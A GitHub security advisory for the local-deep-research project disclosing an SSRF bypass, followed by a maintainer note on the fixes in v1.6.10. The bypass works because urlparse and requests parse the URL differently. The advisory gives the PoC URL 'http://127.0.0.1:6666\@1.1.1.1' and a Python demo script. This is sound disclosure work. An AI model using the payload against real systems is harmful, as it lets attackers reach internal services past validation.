GHSA-g23j-2vwm-5c25

Summary

The URL checking logic in local-deep-research has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The current project uses validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.

<img width="1173" height="1107" alt="QQ20260430-212334-30-1" src="https://github.com/user-attachments/assets/52b356aa-9ad3-4b1d-a472-39a2ada3ea23" />

However, there are indeed differences in parsing between urlparse and the library that actually sends the request. For example, in safe_get, validate_url is first used to perform an SSRF check, and then requests.get is used to send the actual request.

<img width="1164" height="1089" alt="QQ20260430-212431-30-2" src="https://github.com/user-attachments/assets/f3decb16-4daa-49e0-861c-273a913487a0" />

The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

• urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
• requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

#!/usr/bin/env python3
"""Standalone demo: import project via absolute path and call safe_get."""

from __future__ import annotations

import importlib.util
import enum
import sys
import types
from pathlib import Path

# Hardcoded absolute path to the project's "src" directory.
SRC_ROOT = Path(
    r"d:\BaiduNetdiskDownload\local-deep-research-main\local-deep-research-main\src"
)

# Python 3.10 compatibility:
# project constants import StrEnum (available in Python 3.11+).
if not hasattr(enum, "StrEnum"):
    class _CompatStrEnum(str, enum.Enum):
        pass

    enum.StrEnum = _CompatStrEnum  # type: ignore[attr-defined]


def _load_safe_get():
    """Load safe_get directly from file, bypassing package __init__ imports."""
    ldr_pkg_name = "local_deep_research"
    security_pkg_name = "local_deep_research.security"

    # Build lightweight package modules so relative imports in safe_requests.py
    # resolve without executing package __init__.py files.
    if ldr_pkg_name not in sys.modules:
        ldr_pkg = types.ModuleType(ldr_pkg_name)
        ldr_pkg.__path__ = [str(SRC_ROOT / "local_deep_research")]  # type: ignore[attr-defined]
        sys.modules[ldr_pkg_name] = ldr_pkg

    if security_pkg_name not in sys.modules:
        security_pkg = types.ModuleType(security_pkg_name)
        security_pkg.__path__ = [str(SRC_ROOT / "local_deep_research" / "security")]  # type: ignore[attr-defined]
        sys.modules[security_pkg_name] = security_pkg

    module_name = "local_deep_research.security.safe_requests"
    module_path = SRC_ROOT / "local_deep_research" / "security" / "safe_requests.py"

    spec = importlib.util.spec_from_file_location(module_name, module_path)
    if spec is None or spec.loader is None:
        raise ImportError(f"Cannot load module from {module_path}")

    module = importlib.util.module_from_spec(spec)
    sys.modules[module_name] = module
    spec.loader.exec_module(module)
    return module.safe_get


safe_get = _load_safe_get()


def main() -> None:
    # Hardcoded URL for demonstration.
    url = "http://127.0.0.1:6666"
    # url = "http://127.0.0.1:6666\@1.1.1.1"

    safe_get(url, timeout=15)


if __name__ == "__main__":
    main()

When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.

<img width="1694" height="503" alt="QQ20260430-212723-30-3" src="https://github.com/user-attachments/assets/366f684d-9191-4acb-b6a2-b2c3c54f0223" />

However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666, bypassing the detection and achieving an SSRF attack.

<img width="2424" height="477" alt="QQ20260430-212833-30-4" src="https://github.com/user-attachments/assets/bd175e34-d833-44c5-981b-59cfad3406c3" />

PoC

http://127.0.0.1:6666\@1.1.1.1

Impact

SSRF

---

Maintainer note (2026-05-15)

Thanks @Fushuling and @RacerZ-fighting for the detailed report. The remediation spans four PRs, all merged to main and shipped in v1.6.10:

#3873 (merged 2026-05-08) — the load-bearing fix for the parser-differential bypass:

• New RFC_FORBIDDEN_URL_CHARS_RE in security/ssrf_validator.py rejects URLs containing backslash, ASCII control bytes, or whitespace — RFC 3986 forbids these and their presence signals a parser-differential attempt.
• Host extraction switched from urllib.parse.urlparse(url).hostname to urllib3.util.parse_url(url).host. urllib3 is the parser requests uses internally, so the validator and the HTTP client now agree on the destination by construction — closing the \@ divergence that drove the PoC.
• Same two-layer defence applied to NotificationURLValidator.validate_service_url.
• 53 new tests across test_ssrf_validator.py, test_notification_validator.py, test_safe_requests.py, and test_ssrf_redirect_bypass.py, including the advisory PoC http://127.0.0.1:6666\@1.1.1.1 and the post-prepare canonical form http://127.0.0.1:6666/%[email protected].

#3882 (merged 2026-05-08) — hardens the metadata-IP block and redacts userinfo from log output so rejected URLs don't leak credentials to logs.

#3889 (merged 2026-05-09) — locks in real-world URL fixtures and behavior invariants from #3873/#3882 as regression tests.

#3932 (merged 2026-05-10) — blocks IPv6 transition prefixes (2002::/16 6to4, 64:ff9b::/96 NAT64, 2001::/32 Teredo, 100::/64 discard) so private IPv4 destinations cannot be reached via an IPv6-wrapped form. NAT64 has an operator opt-in (LDR_SECURITY_ALLOW_NAT64=true) for IPv6-only deployments, but cloud metadata IPs remain blocked regardless.

Affected versions

• The specific parser-differential bypass described above exists from v1.3.0 (when validate_url was first introduced) through v1.6.9. The validator used urlparse(url).hostname for that entire span.
• Versions before v1.3.0 had no SSRF validator at all — requests went directly to requests.get() without any host check. Those versions are vulnerable to SSRF via this URL and any other internal address; the parser-differential trick is unnecessary.

In both cases the remediation is the same: upgrade to v1.6.10 or later.